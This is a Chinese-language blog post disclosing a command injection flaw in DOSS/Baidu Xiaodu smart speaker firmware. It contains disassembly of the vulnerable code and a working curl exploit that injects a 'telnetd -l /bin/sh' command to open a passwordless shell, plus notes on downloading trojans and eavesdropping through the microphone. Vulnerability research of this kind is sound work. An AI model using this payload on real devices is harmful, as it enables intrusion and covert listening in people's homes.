美文网首页网络与信息安全
DOSS百度小度AI音箱命令注入漏洞

DOSS百度小度AI音箱命令注入漏洞

作者: 烤土豆啦 | 来源:发表于2018-05-23 15:13 被阅读87次

    0x01 漏洞简述

    分析固件可以,该智能音箱会使用wget命令访问其他智能音箱的当前系统状态。具体命令格式为httpapi.asp?command=getprivatesyslog:ip:ip地址。逆向得知,此处存在一处明显存在一处命令注入漏洞,以下是该操作的反汇编代码如下

    .text:0040F804                 addiu   $a1, $v0, (aGetsyslogIp - 0x420000)  # "getsyslog:ip:"
    .text:0040F808                 jalr    $t9 ; strncmp
    .text:0040F80C                 li      $a2, 0xD         # n
    .text:0040F810                 bnez    $v0, loc_40F924
    .text:0040F814                 lw      $gp, 0x8E0+var_8A0($sp)
    .text:0040F818                 li      $v1, 0x420000
    .text:0040F81C                 la      $t9, sprintf
    .text:0040F820                 addiu   $s0, 0xD
    .text:0040F824                 addiu   $a1, $v1, (aWgetOTmpWebSys_1 - 0x420000)  # "wget -O /tmp/web/sys.log  -T 5 http://%"...
    .text:0040F828                 move    $a2, $s0
    .text:0040F82C                 jalr    $t9 ; sprintf
    .text:0040F830                 addiu   $a0, $sp, 0x8E0+var_86C  # s
    .text:0040F834                 lw      $gp, 0x8E0+var_8A0($sp)
    .text:0040F838                 la      $t9, system
    .text:0040F83C                 jalr    $t9 ; system
    .text:0040F840                 addiu   $a0, $sp, 0x8E0+var_86C  # command
    .text:0040F844                 lw      $gp, 0x8E0+var_8A0($sp)
    .text:0040F848                 addiu   $a0, $sp, 0x8E0+var_86C  # s
    .text:0040F84C                 li      $a2, 0x420000
    .text:0040F850                 la      $t9, sprintf
    .text:0040F854                 addiu   $a1, $a2, (aWgetOTmpWebSys_0 - 0x420000)  # "wget -O /tmp/web/sys.log  -T 5 http://%"...
    .text:0040F858                 jalr    $t9 ; sprintf
    .text:0040F85C                 move    $a2, $s0
    .text:0040F860                 lw      $gp, 0x8E0+var_8A0($sp)
    .text:0040F864                 la      $t9, system
    .text:0040F868                 jalr    $t9 ; system
    .text:0040F86C                 addiu   $a0, $sp, 0x8E0+var_86C  # command
    

    以输入getprivatesyslog:ip:1.1.1.1为例:

    1. 获取getprivatesyslog:ip:1.1.1.1参数
    2. 进入上面的反汇编流程,使用sprintf把1.1.1.1拼接在 wget -O /tmp/web/sys.log -T 5 http://%s/getprivatesyslog 中。
    3. 调用system函数执行上面的wget命令

    在这里没有对用户输入的参数部分(IP地址)做详细的校验。导致可以拼接任意参数,例如bash的命令分隔符&。从而导致命令注入漏洞。
    下面是EXP

    curl 'http://192.168.2.9/httpapi.asp?command=getprivatesyslog:ip:192.168.2.1/1&%20telnetd%20%2Dl%20%2Fbin%2Fsh&%20wget%20192.168.2.1/3'
    
    

    此时智能音箱就会开启telnet服务端,随后只需要通过telnet命令即可免密登陆智能音箱,获取智能音箱的shell。

    0x02 攻击场景

    攻击前提

    通过网络可以访问智能音箱即可,没有特定的要求。一般而言使用该智能音箱连接的网络类型中局域网较多,在shoudan中并没有查到关于此智能音箱暴露在公网上的的端口信息,所以此攻击的影响范围为一个局域网内的智能音箱。

    攻击场景

    从上述可以看出,攻击者大多数通过其他方式破解Wi-Fi,通过Wi-Fi的方式远程攻击该智能音箱。

    攻击危害

    1.设备安全

    本智能音箱自带wget命令,可以通过wget命令下载木马,并通过命令执行漏洞直接运行即可。值得注意的是,该嵌入式模块是linkplay公司的软硬件一体解决方案,理论上讲使用linkplay a31型号芯片的智能音箱(亚马逊音响,doss小度音响),都存在此类问题

    2.隐私安全
    该智能音箱带有麦克风,可以用来监听当前的谈话内容等。并通过Wi-Fi的方式将监听内容发送给攻击者,造成被害人的隐私泄露

    0x03 修复建议

    1、建议将用户输入的参数做过滤处理,过滤掉busybox的常见的几种命令分隔符

    相关文章

      网友评论

        本文标题:DOSS百度小度AI音箱命令注入漏洞

        本文链接:https://www.haomeiwen.com/subject/axvrjftx.html